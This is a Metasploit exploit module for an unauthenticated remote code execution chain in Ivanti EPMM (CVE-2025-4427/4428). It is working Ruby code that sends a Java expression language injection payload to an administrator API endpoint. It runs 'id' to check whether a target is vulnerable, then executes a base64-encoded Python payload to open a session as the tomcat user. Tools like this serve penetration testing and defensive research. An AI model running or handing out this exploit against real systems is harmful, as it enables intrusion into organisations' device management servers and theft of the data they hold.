📄 Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM,
              tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated
              access to an administrator web API endpoint, which allows for code execution via expression
              language injection. This module executes in the context of the 'tomcat' user. This module
              should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM).
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'CERT-EU', # Original discovery
              'Sonny Macdonald', # First Published PoC
              'Piotr Bazydlo', # First published PoC
              'remmons-r7' # MSF Exploit
            ],
            'References' => [
              ['CVE', '2025-4427'],
              ['CVE', '2025-4428'],
              # Advisory
              ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US'],
              # First published PoC
              ['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428'],
              # Non-blind payload
              ['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability']
            ],
            'DisclosureDate' => '2025-05-13',
            # Runs as the 'tomcat' user
            'Privileged' => false,
            'Platform' => ['python'],
            'Arch' => [ARCH_PYTHON], # Tested appliance has Python 3.4.9
            'DefaultTarget' => 0,
            'Targets' => [ [ 'Default', {} ] ],
            'Notes' => {
              # Confirmed to work multiple times in a row and concurrently
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(443),
            OptString.new('TARGETURI', [true, 'The base path to Ivanti EPMM', '/']),
            OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true])
          ]
        )
      end
    
      def check
        # Execute 'id' to check if target is vulnerable (version check via exploitation, best known approach)
        resp = execute_command('id')
        return CheckCode::Unknown('Failed to get a response from the target') unless resp
    
        # The response body format will vary across versions, so check for presence of 'id' output
        if resp.body.include?('uid=') && resp.body.include?('gid=')
          return CheckCode::Vulnerable('Successfully executed command')
        else
          return CheckCode::Safe('Target does not appear to be vulnerable - command output not returned')
        end
      end
    
      def execute_command(command)
        payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{command}').getInputStream()).useDelimiter('%5C%5CA').next()}"
    
        vprint_status("Sending template payload: #{payload}")
    
        send_request_cgi(
          'method' => 'GET',
          # There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM
          'uri' => normalize_uri(target_uri.path, 'mifs', 'rs', 'api', 'v2', 'featureusage'),
          'vars_get' => {
            'format' => payload
          }
        )
      end
    
      def exploit
        vprint_status('Attempting to execute payload')
        base64_payload = Base64.urlsafe_encode64(payload.encoded)
        cmd = "python3 -c exec(__import__(\"base64\").b64decode(\"#{base64_payload}\"))"
        execute_command(cmd)
      end
    end